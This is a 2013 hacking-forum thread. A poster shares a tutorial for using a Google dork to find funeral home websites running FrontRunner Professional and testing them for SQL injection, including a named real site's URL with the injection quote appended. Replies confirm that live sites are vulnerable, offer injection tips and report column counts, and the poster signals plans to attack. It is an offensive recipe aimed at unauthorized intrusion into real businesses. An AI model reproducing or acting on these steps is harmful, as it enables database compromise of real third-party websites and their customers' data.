Thread: ???[DORK OF THE DEAD:]?_ 100,000+ Funeral Home Websites are Vulnerable_[/TUTORIAL]???

mObile - *April 27, 2013, 3:24 pm*

[img]http://www.affuneraldirectors.com.au/images/coffin.png[/img]

I've been calling this the "Dork of the Dead" because every website is Funeral Home related.

Idk if this would be considered an 0day but the popular Funeral Home Websites with FrontRunner Professional is vulnerable to SQLi. The vulnerability lies within their Funeral Home Management Software ?

Official Website:
www.frontrunnerpro.com

Worth & Traffic:

Tutorial:

1.) Go to www.google.com

2.) DORK: runtime.php?SiteId=
(or click >/10Jylao]HERE)

3.) Click on any website.

EXAMPLE SITE:
PHP Code
<?php
http://www.andersonstributecenter.com/runtime.php?SiteId=7022&NavigatorId=74622

4.) And Remove:
PHP Code
<?php
&NavigatorId=

from the URL so it looks like this;
PHP Code
<?php
http://www.andersonstributecenter.com/runtime.php?SiteId=7022

5.) Then just add ' to the end of the URL.
PHP Code
<?php

http://www.andersonstributecenter.com/runtime.php?SiteId=7022'

>Results Page;

Enjoy! Thanks for viewing my thread. ?

Haha, put up "ten percent off if you are berried before you die."
I've got something to do later ^_^

bluespider600 - *April 27, 2013, 6:31 pm*
Tried one of them, definitely vulnerable :D
Nice find, OP

SIM-1241186 - *April 27, 2013, 7:13 pm*
Nice find. But you don't need to remove "&NavigatorId=" you can just inject in between it. Although it makes the url look a bit cleaner I suppose.

Good job OP.

Z0mbie. - *April 27, 2013, 7:15 pm*
Nice find.
will be taking a look a this.

Awesome work again mobile! Always contributing amazing things!

Also their is 80 columns in every one that I have tried..
